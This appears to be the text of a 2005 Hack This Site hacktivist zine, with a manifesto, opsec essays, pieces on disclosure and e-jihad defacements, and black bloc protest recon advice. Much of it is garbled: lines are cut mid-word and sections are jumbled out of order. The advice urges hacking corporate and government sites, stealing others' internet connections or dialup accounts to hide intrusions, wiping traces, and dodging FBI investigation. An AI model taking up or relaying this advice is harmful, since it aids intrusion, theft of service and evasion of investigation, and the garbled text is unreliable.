Plug in at indymedia.org or infoshop.org for more actions

```
#####  
#  
# Call in sick. Skip school. Go do something you always wanted  
# over an intersection with a bunch of people and music and street  
# party. Send fake emails posing as your boss and announce rain  
# everybody. Get food that would have otherwise been thrown away  
# to people who need it. Fuck with rich people. Say hi to everyone  
# on the street. Cross out words like oppression, exploitation, etc.  
# in every dictionary. Write your own music and play it for free.  
# local anti-capitalist collective to strike terror in the hearts of  
# bosses and rulers. Call someone on their shit everytime when  
# something racist, sexist or homophobic. Write your own news  
# everybody in an IRC channel. Do graffiti to add life to your  
# the elderly cross the street. Whenever possible, ride a bike  
# take public transportation instead of using a car. Refuse to be  
# spectator. Call someone you haven't talked to in a while. Stop  
# credit card lists and donate money to charities. Heckle your  
# union bureaucrat whenever possible. Program a free open source  
# to a commercial software application. Participate in a riot.  
# community garden in an abandoned lot. Educate others on history  
# revolutionary upheavals. Find some buckets and use them as drums  
# next protest to make it more lively. Hack a corporate or gov  
# website and fill it with anti-capitalist messages. Start a riot  
# cheerleaders squad. Write "This is your death" on every piece of  
# can. Sneak your own art into museums. Steal books from big corporations  
# and give them to strangers. Trainhop or hitchhike across the country  
# stop signs, add stickers that say "racism", "sexism", "capitalism"  
# Think for yourself, question everything. Squat a vacant building
```



```

*      alxCIAda      *
*      Mcaster      *
*      The_Anarchist *
*      weekend      *
*      psyche      *
*      \alive      *

```

Thanks to hbx networks, chicago 2600, dikline, those who refuse statements to the feds, IndyMedia, and the fine people at kink us steal copies.

Zortexia thanks alxCIAda, JK-63, archangel_darkangel
Wyrmskill thanks whooka, morklitu and mushy

```

#####
#                      Actions and Gatherings
#####

```

Hacker Conventions

-
- DEFCON 13 July 29-31, Las Vegas www.defcon.org
 - WHAT THE HACK July 29-31, Netherlands www.whatthehack.org
 - Hackers on Planet Earth 6 Summer 2006, New York City 2600.com
 - 2600 Meetings First friday of every month @ a city near you:

Free Spirits

-
- Burning Man August 29 2006, Nevada www.burningman.com
 - Rainbow Gatherings June 1-7, Virginia www.welcomehome.org

Protests

-
- Anti-G8 Actions July 6-8, Scotland www.dissent.co.uk
 - Biodemocracy 2005 June 18-21st, Philadelphia www.ReclaimTheCo

bat will stop them from getting your data. The fact is, if they could get it. The best bet for sensitive data is finding some storage such as floppy disks or mini USB flash drives that can be hidden in walls, buried in the backyard, etc. Also remember that operating systems leave all sorts of undesirable trails in temporary files. Make sure you clear your browser history, your form auto-completed your recent documents, your temporary internet files, your bash history, stored usernames or passwords, etc. The best bet would be to make a linux livecd that you can boot to each time which will leave no incriminating information over your drive and the RAM will clear on the next boot.

These are all good measures to help make yourself anonymous but if you think you might be a target for harassment or if you're about to have fun with a major corporation or government system, you should do these techniques in combination with USING A DIFFERENT INTERNET CONNECTION. There are dozens of public computers out there, including libraries, cyber cafes, etc. It's also not too difficult to steal a cable from your neighbor, or to use a beige box and a stolen dialup account with a cable, of course, the easiest and most popular method would be to steal a connection from some business or individual who had set up their station with a default or no username and password. There's no way to track a MAC address which can be spoofed, and not many routers log their anyway. Using several proxy servers from a stolen internet connection is the safest bet to become completely anonymous, as long as you don't do anything dumb like checking your personal email account while breaking into a system.

A note on 'anonymous proxies':

Just because you are accessing the internet behind a proxy server doesn't mean that you are anonymous or secure.

Browse with a proxy and go to whatismyip.com - not my home IP, No! In addition to having to worry whether a particular proxy is used by federal agents to catch hackers, or whether the fact the proxy logs all requests and will respond to a court order to hand over logs, proxy servers actually send your source IP address to the web server for various purposes. X_Forwarded_For, which will send your home IP to the proxy, is logged away!

Take a look yourself. Start netcat to listen on a port using a command like `nc -l -v -p 8081`, turn on a proxy, and try going to `123.456` in your web browser replacing it with your home IP address. Assuming you are behind a router or firewall, you should see a complete dump of the headers is supplied by your browser as well as the proxy server. Notice the X_Forwarded_For header that contains your home ip? If so, better use a proxy...

Apache and other web servers can be configured to log these advertisement headers. Is this a chance you're willing to take?

Loose Lips Sink Ships!

 You can go through every effort to protect yourself as far as you are concerned and lose everything because you said a few words you shouldn't to the wrong people. No matter how tempting and juicy the secret information access to is, this information should not be shared with anyone directly involved. By talking openly about your actions you not only protect yourself but your friends, the websites you are involved with, and everything. Be careful of what names or websites are linked to in your posts. And don't go bragging to your buddies about your accomplishments, no matter how tempting it is. Zip it!

Especially if you are involved in activist circles, or you hang out in well-known hacking IRC channels, you will be dealing with people who know on a regular basis. You should feel comfortable in talking

Assemble the printed pages and use a long style stapler to bind them together. They have these available at universities, copy shops, art and book stores, etc.

If you are distributing copies (especially outside the U.S) and you want them available to others, let us know so we can announce your information on the Local section of the zine website.

Get Involved with Hack This Site

 This movement is entirely what you make of it. We are structured to be flexible that allows people to tune in voice their opinions and make decisions in the direction of the site and community. Check us out on IRC, go to the conventions and conventions (listed to the right) and get involved!

WWW: <http://www.hackthissite.org>

EMAIL: htsdevs@gmail.com

IRC: [irc.hackthissite.org](irc://irc.hackthissite.org)

#hackthissite (SSL)

The Usual Suspects:

*	-----	*	-----	*	-----
*	HTS STAFF	*	ZINE TEAM	*	OTHERS
*	-----	*	-----	*	-----
*	Xec96	*	Xec96	*	smooth
*	ikari	*	alxCIAda	*	weizni
*	IceShaman	*	Zortexia	*	Morkli
*	buz	*	whooka	*	forcem
*	archaios	*	Fetus	*	BIG C
*	hairball	*	Wyrmkill	*	archan
*	whooka	*	mushroom5698	*	darkan
*	html	*		*	Truckl
*	OutThere	*		*	Phate
*	br0kenkeychain	*		*	Wells
*	Zortexia	*		*	Brett

ELECTRONIC COPIES

While we charge for physical copies of the zine to cover production, we believe that all information should be free to read and distribute. Copies of the zine are available in a variety of formats on our website. We distribute to various file sharing services, text file collectors,

Graphical PDF file: the complete magazine with complete graphics for printing additional copies of the zine. See the Do It Yourself section for additional printing instructions.

Raw .TXT file: ideal for lynx users or for quick and speedy distribution in file sharing services, BBSs, etc.

Forums: Most of the articles in this zine are available at the time on our website in TXT format, where people can add comments.

DO IT YOURSELF DISTRO!

We've received countless stories of HTS people reprinting copies of their own and giving it away to everyone they know - at school meetings, etc. Now's your chance to do the same. All you need is a printer and PDF copies of the zine.

There are two files for the zine: one is the color cover and the other is black and white inside pages. It is formatted double sided so that it can simply be folded in half. If you are using a printer that prints on single sides, print with one sheet of paper, turn it around and print the second page on the other side repeating for the remaining pages.

The cover PDF file is high resolution color and ideally would be printed on glossy color paper. But if all you have is black and white, then

but always use a level of discretion when you talk specifics about the zine. Especially be concerned when people who start asking questions about the zine. Often times new people will say they are friends of others and you are sure you check people out before you start including them in your network. Say that you need to be private or closed off: if our movement is to succeed, we need to be as inclusive as possible.

But the fact remains: there are indeed police and cop infiltrators who work their way into meetings to take things down. There are cops who have signed confidential informant agreements and lurk on IRC channels to infiltrate meetings trying to find tips of people who may be bringing in new members. There are also right-wing fascist groups with ties to government agencies like ProtestWarrior.com, FreeRepublic.com, and KOBEHQ.com who troll hacker message boards and chatrooms, trying to get people to infiltrate themselves. To top it off, FBI agents themselves have been known to lurk on public IRC channels. Do not walk into their hands!

So what triggers an investigation? As a rule, the FBI will not investigate a crime unless the damages total to over \$10,000. It takes a lot of money to prepare an investigation with a search warrant and a criminal prosecution. It rarely does this happen unless it involves the transfer of money from a corporation with a large and influential corporation or government institution. It can be done with credit cards, identity theft, or revealing sensitive data. It can be done in an investigation while simple defacements (especially non-damaging) are not. Corporations and government institutions can fill out and file a complaint form which will prompt a partial investigation to confirm if laws were broken, but a full blown investigation depends on the evidence that is done, and it usually comes down to money and who the individual is. In order to get a search warrant, they need to have probably some evidence, usually either specific evidence they have collected on you, or a tip from an informant who says "I saw him do it!" or even "I heard about it!". In order to have an arrest warrant, they need to present to the District Attorney that they have enough evidence to prosecute you.

Getting a Knock at the Door

Oh shit, what do I do? Don't panic. Things can only get worse scared, or do something irrational. Keep calm and be firm about Often times federal agents will try to manipulate you into giving information that they do not have. Sometimes they will just wait for you, in which case you have the right to refuse. If this is the case means that there isn't specific evidence but a tip or complaint in your direction. If they had enough evidence for a search or prosecution they would have done so already. Anything you say can be used against you, so your best bet is to not talk to them at all. If they will ask ridiculous favors of you, like to turn in your files, do not submit to electronic monitoring or a search. Of course, if they do it they cannot get the court orders to do it themselves. If they do this on their own, they won't give you any warning, which means if you have been contacted, assume you are being watched. Do NOT discuss ANYTHING with ANYONE over your home net connection, no matter how encrypted it is. Do not are or how many proxies you are bouncing off of. DO NOT make it worse by consenting.

If they want to enter your house, do not let them in unless they have a search warrant. If they do, make sure it is properly filled out with your name, with the right address. And stay silent until you have a lawyer. Do not talk to your family or a lawyer. Very often they will try to pressure you out of you through scare tactics or telling you that you have no choice. Do not have the right to lie, and you don't. Do not interfere as they are doing their business seizing your stuff as it will only make things worse. If you are arrested, do not resist as they can slap on extra charges. As soon as you are processed, do not give any sort of oral or written testimony and do not be used against you. Do not say shit without a lawyer. Await an attorney. Hopefully you will be released, but more than likely a bond will be set and someone will have to come up with the money to bail you out. Make a note of every small detail: who the arresting officer was, any questions, any contradiction they made as they were filing an arrest report, etc.

!### HACK THIS SITE SUMMER 2005 ###!
#####

DISTRIBUTE ME WIDELY AND WILDLY!

This community publication is entirely free to own and free to use. We can only afford to publish a limited amount of copies, so we are asking you to help pass it on to friends, local computer stores, hacker groups, conferences, meetings, libraries, bookstores, newsstands, etc.

ANTI-COPYRIGHT INFORMATION

Everything provided in this publication is anti-copyright. Feel free to reuse any of the content provided here in your own projects. You are encouraged to spread this movement - spread the word!

CONTRIBUTE TO NEXT ISSUE!

We are always accepting additions. If you have anything to share, send it in! We accept a variety of different mediums: from writings, drawings, art, links, technical documents, etc. There are a number of ways to contribute, from submissions to grammar/editing or graphic design. You can also contribute to zine forums or get in touch with the zine staff.

MAIL ORDER

Physical copies are available for mail order through Hack This Summer. Single copies are \$5, and "anti-propaganda" packages which come with 3 magazines plus a flaming heap of underground newsletters, posters, stickers, patches, etc. are available for \$25.

friends have told you. They will want to know all their personal details they can try to track them down and prosecute them. They will get you down with a machine and get you to talk to them to pull as much information as you can: personal details, admitting to crimes, etc. I won't give any suggestions as to what you should do as this is a controversial and a profound decision that will affect you for the rest of your life. There is no way to win a conversation with federal agents. Rather, the reason hackers is the reason why most major hacking networks go down and can bring down everybody.

If they try to press charges, your best bet is to enter a not guilty plea because you can change it later and it will help with your lawyer with the prosecuting attorney. They want a quick in and out case and it is cheap and efficient for them. The last thing they want is you fighting the charges, draining their resources and manpower. Unless absolutely nothing on you, or the charges are ridiculous, they will make some sort of plea bargain, where you will be offered a better deal by accepting lesser charges, hopefully being entered into probation, an adult work program, a small amount of jailtime and usually a fine. It will give in right away. First wait until discovery is complete and see the evidence that they are planning on using against you. This is about trying to figure out which charges to fight and what will help with negotiating a settlement. Usually the whole process drags out for several months and even years. Good! The longer it lasts in the courtroom the more money it costs them meaning the more willing they are about dropping charges or making a better deal. Usually they will offer you something and it only gets better and better after time. Relax: as long as you don't do anything stupid, things can't really get much worse. Recognize that you have been pegged

Where do we go from here?

You might think that if we have to go through all these measurements on ourselves, it's better to just give up on the scene altogether

longer you hold the most amount of boxes, the more points you get

Box Submissions

The servers in this competition are submissions from users just like you. You have an extra machine of any kind that you can throw on a network. Consider setting it up for Root This Box! We like a diversity of hardware specs, and operating systems. Some box owners like to plant vulnerabilities, backdoors, or outdated software just to make it more interesting. If you are interested in submitting a machine, see the setup guide for specific details on how to configure your box for the competition.

How to Set up a machine for Root This Box

The game depends on having boxes set up and supplied from users just like you. If you have a spare machine lying around near a stable internet connection, consider submitting your box for the challenge. This guide will give you specific details and requirements for setting up a system to be eligible for the Root This Box competition.

System Requirements

While you are encouraged to try a diversity of operating systems and configurations, there are some standards that need to be respected for it to work properly in our challenge. You are required to have a public IP address or host or some sort of dyndns.org service. You are also required to have some sort of web service on port 80 that can deliver html files. If you are behind any sort of router or firewall, you need to make sure that it is configured to forward traffic (on at least the ports for the service you are to be running) to your box's local IP address so people can connect to it. Your machine should be hosted on a relatively speedy and stable internet connection and should be running as much as possible. You also need to put a page in your web root called hack.html which our scripts will check

a way of tuning in and joining the struggle.

While the proposed points of unity can serve as a useful guide: who are organizing their own hacktivist cells, it is by no means which demands obedience. People are free to use and reuse this fit, and are free to make modifications and reuse the name if purposes. Hacktivists of world, unite!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!
! ILF POINTS OF UNITY !
!!!!!!!!!!!!!!!!!!!!!!!!!!!!

1. We recognize that the established order of corporations and in the way of achieving an open internet and a free society.
2. We utilize a diversity of tactics in achieving our goals, r digital rights hacktivism like building and protecting alterna free secure communication as well as direct action hacktivism are actively working against a free internet.
3. We need to break out of the digital realm and coordinate wi in political protests around the world. Our resistance must by streets and on the net!
4. The very interest in the subject will label yourself as a c eyes of the state. To protect yourself and others in the movem facilitate and build a culture of security. Organize in a dece: anonymous way, communicate securely, don't rat on others, and i
5. The Internet Liberation Front belongs to nobody and everybo acting under these points of unity are considered an operative are free to utilize and build upon the name and ideals.

A scenerio: Microsoft is hired by the Chinese government to de

In an effort to combat terrorism, a new agency was formed under Total Information Awareness program. The duties of TIA is to cr database to collect and store every bit of data on every Americ includes credit card histories, internet records(web sites, e-m lines, even the books you check out at the library. In addition crawler programs which would profile and flag individuals if th "threat." The logo of this organization was a pyramid from the overseeing the globe. To top it off, the person appointed to be horrendous organization was John Poindexter, who under the Reag was convicted of lying to congress, withholding evidence and co related to the Iran Contra affair where they secretly and illeg to Iran to fund right wing dictators in Nicaragua. Now these pe appointed to positions in federal agencies where they can spy o

In addition to sweeping domestic legislation, the US has begun policy in arrogantly destructive ways. Before the war in Iraq s declared that its troops would not be held accountable through Criminal Court system. This essentially is a free ticket to rap use all sorts of illegal weapons such as cluster bombs and chem as depleted uranium without any fear of accountability. The US from the Antiballistic Missile Treaty and began the buildup and nuclear arms once again. The US being the largest petroleum con planet was also the only country to reject the Kyoto protocol d down on emissions because "it would damage the economy". We hav use loopholes around Geneva Convention standards by calling pri combatants" instead of prisoners of war. Many people rounded up and abroad have been shipped to "Camp X-Ray" in Guantanamo Bay practice all sorts of interrogation and torture techniques rang and sensory deprivation to starvation, beatings, and electrosho have been dozens of documented cases in camps in Iraq and Cuba abuse, to the point of the CIA admitting themselves that they h shipping people overseas where they are not bound by their own controversy after controversy and several leaked memos of milit advocating the use of torture, the administration exists that t

exceptions rather than the rules in order to avoid any sort of accountability.

As people begin to rise up and question the policies of the Bush government is starting to use these increased law enforcement to prevent international terrorism but to target and harass dissidents.

Sherman Austin who ran RaiseTheFist.com faced surveillance and arrested and charged under provisions in the USA PATRIOT Act. In a post that someone else made in his message board system where he pointed to a web site that posted information about building bombs. Although he did not post or even host the information, he pled guilty to let himself get out easy - only one year in federal prison. Not only is it illegal to protect and spread the questionable materials no matter how common they are, bomb making instructions can be found in tens of thousands on the internet. The fact that he was charged and sentenced while others were not further demonstrates that he was targeted for his political activities rather than the crime itself.

"Security" at national protests have also become increasingly important as police are beating and arresting people with increased violence and lack of accountability. In the buildup to the Republican National Convention, many protest organizers came under intimidation by the FBI. Over fifty were questioned and many were followed and had their homes searched. At the protests themselves, over 1800 people were arrested and held for several days. At the protests against the Free Trade Area of the Americas summit in Los Angeles, police used tear gas, pepper spray, tasers and even rubber bullets to intimidate, and beat protesters.

The idea is to publicly blur the line between terrorist and dissident, to not only justify their oppressive policies but to crush dissent and opposition to their policies. These are not the actions of a free nation. These should be warning signals that tyranny is coming

spanning legions of "hackers" a day they will never go away. This is the only problem in this equation that can be solved. The key is to stay away. The blackhats aren't disclosing. But the white hats seem to be solving all the problems. After reading this paper you may be wondering what I am, is, what "hat" I wear since before I said I was neither a white hat nor a black hat. And the answer is, rogue hat. A rogue is simply a hacker that is not for himself, and their group. We don't have stereotypical agendas. We are here just to learn, or to help improve security. We are not in it to get rich or to make money. We are simply in it. Finally I will leave you all with a thought. Since when did we start calling the security "scene" an industry?

shardz@dikline

```
--/\--  
 \  \ /  
 /_/\_\  
  \  /
```

```
#####  
#           20 Autonomous Hacktivism With the Internet Liberation  
#####
```

In the online struggle for social justice, many of our comrades have become victims of law enforcement. In order for us to remain effective, we need to find ways of clearing ourselves of becoming targets of harassment from the powerful. To continue to question and confront the established system, we need to explore more secure models of radical organizing.

As part of adopting security culture and becoming anonymous, we need to protect ourselves in a decentralized way to prevent the ability for someone to be busted not take down the entire group. The Internet Liberation Front, like the Animal and Earth Liberation Front before it, is a tactic to remain anonymous yet still connect with larger and broader social movements. Having ILF cells operating independent of each other with different goals and the same points of unity allows a diversity of tactics as well as e

bugs. These bugs are then posted to a security mailing list where kiddies gather tools and infoz and hack more computers. Its a snowball that has snowballed out of control. I dont think anyone really understands these lists: in theory these lists are meant to benefit security by notifying the vendors to patch their systems. Which it does, however the sysadmins that avidly read this list are so few that the list is inefficient. Therefore many systems are left unpatched and now have a tool they can use to exploit them. The true blackhat hackers own exploits paradoxially enough help the security industry more than disclosure white hats. This is because a single blackhat or even with a unreleased exploit will do far less damage than the number of kiddies with a publically disclosed exploit. The blackhats that disclose their exploits may not be helping security 100% but they are doing it by keeping their exploits private. The chances of sysadmins getting a handful of black hat hackers with an exploit is far less than the chances of getting owned by a script kiddie with a tool they ripped off someone else.

Conclusion

The real threat when the media, the anti-virus companies, or white hat "hackers" who they really mean are kids with tools they discovered through disclosure lists. Anti-Virus/Security industry is a multi billion dollar industry that thrives on its colleagues doing security "research". If you disclose bugs that kiddies of the virus world can write a devastating worm the public will buy their product. But you might ask if the vulnerability is known about how come the worm or whatever was so devastating? The answer is they dont patch thier systems. Almost any security breach can be booted by a simple error between the keyboard and the chair. Theoretically if Joe Stump had listened to BugTraq and patched his systems as the bugs came out full disclosure would be a wonderful system. However the public does not subscribe to BugTraq and sysadmins don't carefully monitor the integrity of thier systems. Its a 24 hour a day job. Black hat hackers are not the problem its the lack of disclosure itself and the white hat full disclosure mentality. And since

something is done to stop it the vicious cycle will get worse and worse.

The only way that the Bush administration is able to get away with its policies and not be held accountable for their corrupt actions is by using people with fear. All of these unjust policies claim to protect the American people from foreign terrorist threat.

Immediately after 9/11, the Bush propaganda machine swung into action. The administration catered to the lowest common denominator by drawing out the emotions surrounding the 9/11 terrorist attacks in order to whip up support for his policies. Names like the USA PATRIOT Act, the "War against Terrorism" and the "Axis of Evil" drew artificial polarities that not only encourage support it by confusing the issue but also demonize the opposition. To say that the USA PATRIOT Act is contrary to the spirit of the bill is to say you don't want to be unpatriotic, do you? To oppose the war on terrorism is to say you're working with the terrorists? The Republicans used powerfully as the American flag and tried to inspire a strong sense of nationalism. To get people to blindly follow their policy recommendations. To say that if you opposed the president and the war, you were against the country is either with us or against us."

The only way that they could get away with this legislation is by creating an artificial sense of urgency and threat. When they were trying to get the American people to support the war, they used absolutist statements like "Saddam is holding the world hostage with weapons of mass destruction" without providing any backing to their claims. They raised the Homeland Security terrorist threat level every time there was some controversy. They talk about such as Yellowcake Uranium. They talk about the evils of the enemy and they hope that it will frighten people into thinking irrationally, that its a national crisis and only the government can protect them if only they give up their rights and gave the Republicans absolute control.

Its a sinister game of scaring the American people into submission, and intimidating the opposition, and making money for the rich.

is becoming increasingly clear who the real terrorists are. At more and more people are starting to see through the lies and speaking up and doing something about it. Unplug yourself from and start researching things yourself. Tune in to independent publishing systems. Turn off the television and take to the streets.

```
#####  
#           16. Paradise Engineering, Political Change...by arc  
#####
```

Utopianism, rooted in the primal desire for abrogation of mortal foundation of the modern hedonistic imperative. Alluding to an archetypal modern religion disavows such a notion, a philosophy with 19th century, morally absolutist cautionaries. The egregious a crucial error is self-explanatory, scientific dogma proselytizing to absolve man of His painful iniquities through what may be termed "engineering", a much maligned concept as a direct result of such as Orwell's 1984 and Huxley's Brave New World. The failure of the Soviet Union relinquishes all doubt that, without a concerted effort of the proletariat to debase the plutocratic capitalist oligarchy (unlike Western nations), Utopianism is bereft of rationale and the pre-archaic Judeo-Christian ideals is inevitable. The decidedly utopian the consumerist society presented in Brave New World eviscerates the ideal of egalitarianism in its purest form, social order "the presupposition which delineates historical analogues" rooted in shades of apocalyptic totalitarianism. Impugning upon users of psychoactive substances "defiling God's temple", contemporary morality insinuates that the next-generation of euphoric and empathogenic drugs are within reach. Indulgence is contrary to the notional social hierarchy and the suffering that provides a theoretical basis for Christ's salvation. It is apparent that the hegemonic nature of monotheistic religion is being denounced as "heretical" and eschewing the freedom to dissent. In spite of this, the gradual progression toward agnosticism is leading to such stagnation and, ultimately, present an ideal social backdrop.

don't think when he talks about SQL passwords and how to crack them, to write an accompanying tool that will be most likely used by script kiddies and sys-admins. Lists like BugTraq and other full disclosure lists are the most counter productive things ever created, but they also prove that white hats need black hats. Lists like the aforementioned do more good, the number of script kiddies that are nurtured and encouraged by such lists far out weighs the number of patches written and holes closed. Without such support such lists would quickly become irrelevant. If everyone would be hacking boxes, security would no longer be an issue. I stopped posting to such lists and followed a path of non disclosure. I report bugs directly to the vendors (or keep them private =)) security is not drastically since kiddies would have nothing to feed off of, they would stop attacks. Personally I think projects like pr0j3kt m4yh3m are a good thing. White hats that something is terribly awry. It's sad to think that the self righteous journey to "secure" the internet, that they are trying to make it less secure. Either that or they're in it for the money. I know exactly what they're doing, I believe it's a combination of the two. The latter than the former.

Black

Black hats, at least true black hats, don't need white hats in a way that if you use a loose interpretation of the term they do, and for the most part will encompass script kiddies as well as the people at the other end of the spectrum. By ignoring the truly talented black hats and focusing on the kiddies the bond between black and white will become clearer. Script kiddies in their early stages of messing with computers, thrive on white hats. Lists like BugTraq for their infoz. These lists dumb down every tool simple enough for them to use on a mass scale. They then use these tools to hack computers and leave defacements, or install psyBN. Then all of the sysadmins that get owned for not patching their systems for 37 seconds of the BugTraq post complain that the security industry is insecure. Then a huge amount of money is spent to research and

UNITY believes that "the more money they (Israeli cyber fronts and strengthening their systems means less money to buy bullet use against our children." Gilad Rabinovich, CEO of the Israel said, "All Israeli ISPs have been overloaded with data" and co are just the only ones to admit it." In addition to being "ove the CEO continues that if the cyber war were to continue "it w resources from us and hurt customers. (Gambill)"

In order to be effective, it is imperative that all aspects of embraced; promoting free decentralized information networks as direct action against those responsible for violating digital . The materialization of a free society requires the systematic (oppressive forces working against the free flow of information not free; it is made free by those who are willing to fight to

```
#####  
# 19. White and Black By shardz@dikline  
#####
```

This paper is designed to explain to people how the security is why black and white hats both need each other. First off for t say you are gray hats, there is no gray hat. Gray hat is white quite literally black and(or in this case) white. I'm not goin to work for "the industry" as a white hat. Nor will I claim to black hat scene, but anywayz let's get started.

White

White hats certainly need black hats because without them ther security industry. Also when I say "white hat" I dont mean sys sys-admins are just doing their job. Im talking about people l (Project Honeynet), or David Litchfield, who I like some of the

evolution of a neo-anarchistic Utopian society.

The insidiousness of Huxley's literary masterpiece exemplifies intended as satire, its literal interpretation decontextualises contained within, prolonging the Darwinian order that man has s transcend for millenia. Nonetheless, its poignance serves as a the dangers of unchecked consumerism; far from catalysing expan consciousness, soma's one-dimensional "peak experience" illumin shallowness of existing psychoactives, most notably opioids, up (presumably) it was modelled, the throes of addiction and depen characterising the lives of some in spite of the "perfection" o and stability. The catchcry of the novel - "community, identity opens a Pandora's box, the seemingly benevolent despots respons rigors of oppression now seen as culpable in the dystopic, purp its inhabitants. The juxtaposition of the Reservation, demarcati remnants of humanity, with the technologically sophisticated Ci part responsible for the current attitudes toward mind-altering inexorably (albeit unintentionally) altering the political land success in alienating his audience in a tactful manner has culm widespread notion that suffering is inevitable, though the tool are within reach.

Social unrest, evident throughout Western society, most pointed prevalence of mental illness, criminality and recidivism, manif result of unchecked consumerism " far from the unrealistic idea and the paranoid speculation of Orwell, the oppression of the w readily apparent; the exploitation by the Military-Industrial-E complex of the desire to conform represents a grave injustice, indoctrinating the masses and culminating in a cultural void. I surprising to note the high rates of drug "abuse" as an escape of daily life?

The malaise of dysthymia impairs cognizance of the issues at th our civilization, resulting in the apathy and discontent that a

number of youth now eulogize, the mantra of democratic society forgotten. The speciousness of the arguments against "unnatural" engineering are rooted in the technophobic prejudices of our age, far from necessitating a return to the values of yesteryear, or for human suffering, postmodern society demands alterations and a drug-naive consciousness.

The trial and tribulation of the outmoded Darwinian social order, tropophobic segments of the populace are central to the postulated hedonistic imperative embodies a futuristic answer to the rational contemporary religious practices. Undeniably, the society presently embodies the epiphany of stagnation: devoid of scientific inquiry to the state of existing third-world nations, this does not happen. Properly exercised, the duplicitous nature of psychoactives can be a prime example of this, Huxley's antipathy evolved in later life on a paradise, Island documenting his personal triumph through the use of mescaline. Typified as a retarding force for social change, this is exemplified through exploitation of serotonergic and dopaminergic euphoricants, an unorthodox if neurotoxic approach to the rigorous life. Media stereotypes of crude psychopharmaceuticals present an overview of future accomplishments; from the arguments presented it is clear that continued research is necessitated for the maintenance of a stable, egalitarian population in deference to the libertarian

Supplication of morality (i.e. the incumbence of an amoral population) an inevitability in the inertia-driven field of paradise engineering. Behavioural neuroscience and molecular biology to achieve a complex neo-utopian society, futuresque though this idea may seem. In the face of humanity to conquer akrasia (literally: "bad mixture") "that is a flaw of weakness whereby an agent is unable to perform an action that would be right, a common pathology in the criminal element. The impact would be nullified, enabling one to gain greater insight into the human consciousness and the complex relationship between humans and the environment. Crude soporifics and mood-brighteners of yesteryear, responsible

Club" (MHC). In addition to distributing viruses and flood tools, they "logged 28 hacking attacks linked to the MHC" against commercial websites (Bunt). Another notorious group was called the "Silverlords." A report documented 1,436 defacements from November 2000 to April 2002. In the defacement of paintcompany.com, they "presented a pro-Kashmiri graphic photographs of human rights violations." They quoted, "GENOCIDE AGAINST THE PEOPLE OF KASHMIR. FREE KASHMIR, PALESTINE, U.N SANCTIONS ON IRAQ."

The hacking group GFORCE was another accomplished collective. They have hacked the US Defense Test & Evaluation Processional Institute since September 2000. They replaced the site's content with very strong photos of Palestinian children being killed by the Israeli troops. Their statement explains their call for an e-jihad:

"We have suffered throughout the ages and will suffer no more. The age of cyberwarefare, where once again the Muslims have prevailed. We will till every node, every line, every bit of information contained in the network. Our suppressors has not been wiped out, returning them to the dark. We will tolerate anymore, and we will not fail." (Bunt)

GFORCE also hacked other "US government agencies, military and Taiwan-based platforms." GFORCE was the most "prominent group to emerge from Pakistan (Dr. Nuker, Pakistani Hackerz Club)." The hacking group UNITY have increased militancy under the potent ideology - hacking under the "iron guard banner." They advocate "enemy's network" and "planting code" to cause direct infrastructure damage, what they perceive as online war. UNITY described in systematic their hacking strategy. It follows:

- 1) Disabling official Israeli government sites.
- 2) Crashing financial sites.
- 3) Knocking out main Israeli ISP servers.
- 4) Blitzing major Israeli e-commerce sites causing transaction

to attack SCO servers (Hines). The actions of SCO have radical take actions in more ways than distributing free code.

More aggressive forms of hacktivism have emerged in the Middle "There has been a massive increase in online activities, parti relation to the conflict in Palestine and Israel (and more rec with 9-11), which has been labeled 'e-jihad'," explains Gary B an electronic version of the holy war representing the struggl evil. The "massive increase in online activities" is cyber war: rejects the "digitally correct" philosophy and has taken the h "hands-on imperative" or "direct action" to its final step.

The Pro-Palestinian hacking group, "World's Fantabulous Defacer: responsible for hundreds of web defacements against Israeli, I: Yugoslavic and the online bank Karachi website. Their most not against the Israeli Prime Minister Ariel Sharon's election cam 2001. They posted grotesque images of "a badly scarred child w injuries were the result of his house being 'burned down by il settlers in the West Bank'." They explained their actions that

We are no heroes but merely hackers while we understand that i for us to successfully make a legitimate difference in oppress lives in Palestine we will continue to deface, not destroy, fo there is reform until there is change until all suffering chil can wake up to a world of peace, not a world of death, destruc world devoid of war. (Bunt)

They included links to the Intifada (translated uprising) Onli Information Center, and the Islamic Association for Palestine.

Other Muslim hacking groups have started organizing against Is: sites by working with various hacking groups and distributing : Their actions range from politically motivated hacks to shout- affiliated groups. One such Muslim hacking group is called "Th

decline in Australia and throughout modern Western society, wil by alternatives free of the stupefying insensibility as can be alcohol, should current trends continue. The ideological implic sounding the death knell for monotheistic belief systems and, i society as it is currently known. Huxley's treatise, though ant ideas expicated in this essay, maintains a warning that must be nightmarishly Orwellian scenario ensue: stability does not equa and apathy is no substitute for the latter.

17. Communication and Info Gathering at a Protest By
#####

Where the black bloc goes the cops will not be far off. The cop have an edge with their expensive radios, "less than lethal" we intimidating riot gear you can dream of, and in most big cities to seriously outnumber the members of the bloc. One of the thin done to improve our effectiveness as a street fighting force an threat to the powers of the state, is work on our communication gathering skills prior and during an action.

Pre-Action Recon

Having scouts at an event is a very important thing to have. Sc out patrolling at an event well before it starts. The cops are daylight setting up for the action and so should we. Scouts sho groups of 2-3, never alone this will lower the risk of them bei Such recon groups might want to use bicycles to increase their things recon teams should look out for are possible police stag are common to multi-story parking complexes, materials that cou construction of barricades and road blocks. Also take note of c ends, possible routes to use if you need to escape, most import you wont get lost.

If you're not from the area a map will come in handy. If your information on the days action you must encrypt them, the impossible cannot be stressed enough. If the police were to get a hold of being encrypted the entire days action could be spoiled. In fact during the R2k action in Philadelphia when cops got a hold of a black bloc meeting. They had with them maps of the days action discovered upon searching them. These maps were unencrypted and location of black bloc emergency gathering sites, as well as they were going to focus their activities on, and the location of sites in the creation of a road blocks. You can imagine what kind of to the days plans. Another tactic is to divide the locals up, working as a local contingent they can be treated as specialists between groups to share their knowledge of the area. This way people learn the land and if it comes to it escape with out be

Police Scanning

One thing all groups involved in the days action should have is a scanner, they can provide much needed information about police tactics. Before you go out to battle cops with your police scanner some things you should know. A very important subject you must know your local laws dealing with police scanning. In the USA it is illegal to use a police scanner in your own home, it's when you hit the streets be illegal. In some places like California, New Jersey, and Vermont use the device in furtherance of a crime, which depending on the crime could be pinned onto those using one in a bloc. In some of the states the possession of such devices is illegal for anyone with out a permit. Here are some of state laws dealing with police scanning go to:
afn.org/~afn09444/scanlaws/scanner5.html

Another thing you must do is look up the codes your local PD use and remember as many as you can, but most importantly you must be able to use a code that would be used to describe the activities that are part of the days action. A good way to get the codes down is to use your

